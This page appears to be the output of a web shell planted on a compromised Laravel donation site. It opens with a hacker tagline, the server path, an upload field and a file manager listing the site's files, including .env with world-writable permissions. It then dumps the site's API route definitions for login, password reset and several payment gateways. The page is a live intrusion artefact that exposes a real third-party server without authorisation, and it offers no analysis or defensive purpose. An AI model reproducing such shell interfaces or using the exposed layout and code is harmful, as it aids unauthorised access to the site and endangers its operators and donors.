I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
group(function(){
Route::get('languages', [AppSettingsController::class, "languages"]);
Route::get('basic/settings', [AppSettingsController::class, "basicSettings"]);
// User
Route::group(['prefix' => 'user', 'as' => 'user.'], function(){
Route::post('login', [AuthController::class, 'login']);
Route::post('register', [AuthController::class, 'register']);
Route::get('dashboard', [DashboardController::class, 'dashboard']);
// Campaiogns
Route::get('campaigns', [DashboardController::class, 'campaigns']);
Route::get('campaign/details', [DashboardController::class, 'campaignDetails']);
Route::get('about-us', [DashboardController::class, 'aboutUs']);
// donation
Route::controller(DonationController::class)->group(function(){
Route::get('campaign/donation/history', 'donationHistory');
Route::get('campaign/donation/gateway', 'donationGateway');
Route::post('campaign/donation/submit', 'donationSubmit');
// Automatic
Route::get('donation/success/response/{gateway}','success')->name('donation.payment.success');
Route::get("donation/cancel/response/{gateway}",'cancel')->name('donation.payment.cancel');
// Flutterwave
Route::get('/flutterwave/callback', 'flutterwaveCallback')->name('flutterwave.callback');
Route::post('flutterwave/donation/confirm','flutterwaveConfirmed')->name('flutterwave.donation.confirmed');
// Stripe
Route::get('donation/stripe/payment/success/{trx}','stripePaymentSuccess')->name('donation.stripe.payment.success');
// Manual
Route::post('manual/donation/confirmed','manualPaymentConfirmedApi')->name('manual.payment.confirmed');
// rajor pay
Route::get('razor/payment/btn/pay/{trx_id}', 'redirectBtnPay')->name('razor.payment.btn.pay');
Route::post('donation/razor/success/response/{gateway}','razorSuccess')->name('donation.razor.payment.success');
Route::post("donation/razor/cancel/response/{gateway}",'razorCancel')->name('donation.razor.payment.cancel');
//sslcommerz
Route::post('donation/sslcommerz/success','sllCommerzSuccess')->name('donation.ssl.success');
Route::post('donation/sslcommerz/fail','sllCommerzFails')->name('donation.ssl.fail');
Route::post('donation/sslcommerz/cancel','sllCommerzCancel')->name('donation.ssl.cancel');
// Qrpay gateway
Route::get('donation/qrpay/callback', 'qrpayCallback')->name('donation.qrpay.callback');
Route::get('donation/qrpay/cancel/{trx_id}', 'qrpayCancel')->name('donation.qrpay.cancel');
//coingate
Route::match(['get','post'],'donation/coingate/success/response/{gateway}','coinGateSuccess')->name('donation.coingate.payment.success');
Route::match(['get','post'],"donation/coingate/cancel/response/{gateway}",'coinGateCancel')->name('donation.coingate.payment.cancel');
// Donation
Route::get('razor/callback', 'razorCallback')->name('donation.razor.api.razor.callback');
Route::get('razor/cancel', 'razorCancel')->name('donation.razor.api.razor.cancel');
//Perfect Money
Route::get('perfect/success/response/{gateway}','perfectSuccess')->name('donation.perfect.success');
Route::get("perfect/cancel/response/{gateway}",'perfectCancel')->name('donation.perfect.cancel');
Route::prefix('donation/payment')->name('donation.payment.')->group(function() {
Route::post('crypto/confirm/{trx_id}','cryptoPaymentConfirm')->name('api.crypto.confirm');
});
});
// Events
Route::get('events', [DashboardController::class, 'events']);
Route::get('event/details', [DashboardController::class, 'eventDetails']);
Route::group(['prefix' => 'forgot/password'], function () {
Route::post('send/otp', [ForgotPasswordController::class, 'sendCode']);
Route::post('verify', [ForgotPasswordController::class, 'verifyCode']);
Route::post('reset', [ForgotPasswordController::class, 'resetPassword']);
});
Route::controller(AddMoneyController::class)->prefix('add-money')->name('add-money.')->group(function(){
Route::get('success/response/{gateway}','success')->name('payment.success');
Route::get("cancel/response/{gateway}",'cancel')->name('payment.cancel');
Route::get('/flutterwave/callback', 'flutterwaveCallback')->name('flutterwave.callback');
Route::get('stripe/payment/success/{trx}','stripePaymentSuccess')->name('stripe.payment.success');
//sslcommerz
Route::post('sslcommerz/success','sllCommerzSuccess')->name('ssl.success');
Route::post('sslcommerz/fail','sllCommerzFails')->name('ssl.fail');
Route::post('sslcommerz/cancel','sllCommerzCancel')->name('ssl.cancel');
// Qrpay gateway
Route::get('qrpay/callback', 'qrpayCallback')->name('qrpay.callback');
Route::get('qrpay/cancel/{trx_id}', 'qrpayCancel')->name('qrpay.cancel');
//coingate
Route::match(['get','post'],'coingate/success/response/{gateway}','coinGateSuccess')->name('coingate.payment.success');
Route::match(['get','post'],"coingate/cancel/response/{gateway}",'coinGateCancel')->name('coingate.payment.cancel');
// rajor pay
Route::get('razor/payment/btn/pay/{trx_id}', 'redirectBtnPay')->name('razor.payment.btn.pay');
Route::post('donation/razor/success/response/{gateway}','razorSuccess')->name('razor.payment.success');
Route::post("donation/razor/cancel/response/{gateway}",'razorCancel')->name('razor.payment.cancel');
//Perfect Money
Route::get('perfect/success/response/{gateway}','perfectSuccess')->name('perfect.success');
Route::get("perfect/cancel/response/{gateway}",'perfectCancel')->name('perfect.cancel');
Route::prefix('payment')->name('payment.')->group(function() {
Route::post('crypto/confirm/{trx_id}','cryptoPaymentConfirm')->name('api.crypto.confirm');
});
});
Route::middleware('auth.api')->group(function (){
Route::get('logout', [AuthorizationController::class, 'logout']);
Route::post('otp/verify', [AuthorizationController::class,'verifyCode']);
Route::post('resend/code', [AuthorizationController::class,'resendCode']);
Route::middleware('checkStatusApiUser')->group(function(){
Route::controller(AddMoneyController::class)->prefix('add-money')->name('add-money.')->group(function(){
Route::get('information','addMoneyInformation');
Route::post('submit-data','submitData');
// Automatic
Route::post('stripe/payment/confirm','paymentConfirmedApi')->name('stripe.payment.confirmed');
// Manual
Route::post('manual/payment/confirmed','manualPaymentConfirmedApi')->name('manual.payment.confirmed');
});
// User Profile
Route::controller(ProfileController::class)->prefix('profile')->group(function(){
Route::get('/', 'profile');
Route::post('update', 'profileUpdate')->middleware('app.mode');
Route::post('password/update', 'passwordUpdate')->middleware('app.mode');
});
});
});
});
});